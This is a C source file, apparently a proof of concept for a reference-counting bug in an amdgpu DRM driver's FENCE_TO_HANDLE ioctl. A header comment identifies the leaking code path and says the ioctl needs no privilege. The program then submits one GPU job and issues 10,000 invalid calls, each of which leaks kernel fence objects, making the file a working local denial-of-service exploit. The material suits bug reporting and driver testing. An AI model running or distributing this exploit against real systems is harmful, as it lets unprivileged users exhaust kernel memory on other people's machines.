/*
 * DF-4264 — AMDGPU_FENCE_TO_HANDLE with unknown 'what' leaks the dma_fence
 * ========================================================================
 * amdgpu_cs_fence_to_handle_ioctl() (sys/dev/drm/amd/amdgpu/amdgpu_cs.c:
 * 1417-1471) obtains a fence reference at :1427 via amdgpu_cs_get_fence().
 * The switch handles GET_SYNCOBJ / GET_SYNCOBJ_FD / GET_SYNC_FILE_FD and
 * each of those puts the reference, but the default case at :1468-1470
 * does `return -EINVAL;` WITHOUT dma_fence_put(fence). Every call with an
 * invalid 'what' leaks one dma_fence reference (the whole drm_sched_fence
 * slab object + its parent fence chain are kept alive).
 *
 * Unprivileged: AMDGPU_FENCE_TO_HANDLE is DRM_AUTH|DRM_RENDER_ALLOW
 * (amdgpu_kms.c:1202).
 *
 * Trigger: alloc a context, submit one GFX CS (records fence seq 1 in the
 * context), then call FENCE_TO_HANDLE on (ctx, GFX, 0, seq=1) with
 * what = 0xFFFFFFFF in a tight loop -> one leaked fence per call.
 */
#include <fcntl.h>
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/ioccom.h>
#include <errno.h>

#define DRM_IOCTL_BASE		'd'
#define DRM_COMMAND_BASE	0x40

#define AMDGPU_GEM_DOMAIN_GTT	0x2
#define AMDGPU_HW_IP_GFX	0
#define CHUNK_ID_IB		0x01

union gem_create_ {
	struct { unsigned long long bo_size, alignment, domains, flags; } in;
	struct { unsigned int handle, _pad; } out;
};
union ctx_ {
	struct { unsigned int op, flags, ctx_id; int priority; } in;
	struct { unsigned int ctx_id, _pad; } alloc;
};
struct chunk_hdr_ { unsigned int chunk_id, length_dw; unsigned long long chunk_data; };
struct chunk_ib_ {
	unsigned int _pad, flags;
	unsigned long long va_start;
	unsigned int ib_bytes, ip_type, ip_instance, ring;
};
union cs_ {
	struct { unsigned int ctx_id, bo_list_handle, num_chunks, _pad;
		 unsigned long long chunks; } in;
	struct { unsigned long long handle, status; } out;
};
struct drm_amdgpu_fence_ {
	unsigned int ctx_id, ip_type, ip_instance, ring;
	unsigned long long seq_no;
};
union f2h_ {
	struct { struct drm_amdgpu_fence_ fence; unsigned int what, pad; } in;
	struct { unsigned int handle; } out;
};

#define IOCTL_GEM_CREATE \
	_IOWR(DRM_IOCTL_BASE, DRM_COMMAND_BASE + 0x00, union gem_create_)
#define IOCTL_CTX \
	_IOWR(DRM_IOCTL_BASE, DRM_COMMAND_BASE + 0x02, union ctx_)
#define IOCTL_CS \
	_IOWR(DRM_IOCTL_BASE, DRM_COMMAND_BASE + 0x04, union cs_)
#define IOCTL_F2H \
	_IOWR(DRM_IOCTL_BASE, DRM_COMMAND_BASE + 0x14, union f2h_)

#define ROUNDS	10000

int
main(void)
{
	union gem_create_ gc;
	union ctx_ ctx;
	union cs_ cs;
	union f2h_ f2h;
	struct chunk_hdr_ hdr;
	struct chunk_ib_ ib;
	unsigned long long chunk_ptr;
	unsigned long long seq;
	int fd, i;

	fd = open("/dev/dri/renderD128", O_RDWR);
	if (fd < 0) {
		fprintf(stderr, "DF-4264: cannot open /dev/dri/renderD128: %s\n"
		    "On amdgpu hw each FENCE_TO_HANDLE call below leaks one "
		    "dma_fence reference (amdgpu_cs.c:1427 vs :1468).\n",
		    strerror(errno));
		return (1);
	}

	memset(&gc, 0, sizeof(gc));
	gc.in.bo_size = 4096;
	gc.in.domains = AMDGPU_GEM_DOMAIN_GTT;
	if (ioctl(fd, IOCTL_GEM_CREATE, &gc) < 0) { perror("gem_create"); return (1); }

	memset(&ctx, 0, sizeof(ctx));
	ctx.in.op = 1;
	if (ioctl(fd, IOCTL_CTX, &ctx) < 0) { perror("ctx"); return (1); }

	memset(&ib, 0, sizeof(ib));
	ib.ip_type = AMDGPU_HW_IP_GFX;
	ib.ib_bytes = 16;
	hdr.chunk_id = CHUNK_ID_IB;
	hdr.length_dw = sizeof(ib) / 4;
	hdr.chunk_data = (unsigned long long)(uintptr_t)&ib;
	chunk_ptr = (unsigned long long)(uintptr_t)&hdr;

	memset(&cs, 0, sizeof(cs));
	cs.in.ctx_id = ctx.alloc.ctx_id;
	cs.in.num_chunks = 1;
	cs.in.chunks = chunk_ptr;
	if (ioctl(fd, IOCTL_CS, &cs) < 0) { perror("CS"); return (1); }
	seq = cs.out.handle;
	printf("submitted CS, seq=%llu\n", seq);

	for (i = 0; i < ROUNDS; i++) {
		memset(&f2h, 0, sizeof(f2h));
		f2h.in.fence.ctx_id = ctx.alloc.ctx_id;
		f2h.in.fence.ip_type = AMDGPU_HW_IP_GFX;
		f2h.in.fence.ring = 0;
		f2h.in.fence.seq_no = seq;
		f2h.in.what = 0xFFFFFFFFu;	/* invalid -> default case leak */
		if (ioctl(fd, IOCTL_F2H, &f2h) == 0) {
			fprintf(stderr, "unexpected success\n");
			return (1);
		}
	}
	printf("issued %d invalid FENCE_TO_HANDLE calls; %d dma_fence "
	    "references leaked (each keeps a drm_sched_fence slab object "
	    "alive forever)\n", ROUNDS, ROUNDS);
	return (0);
}
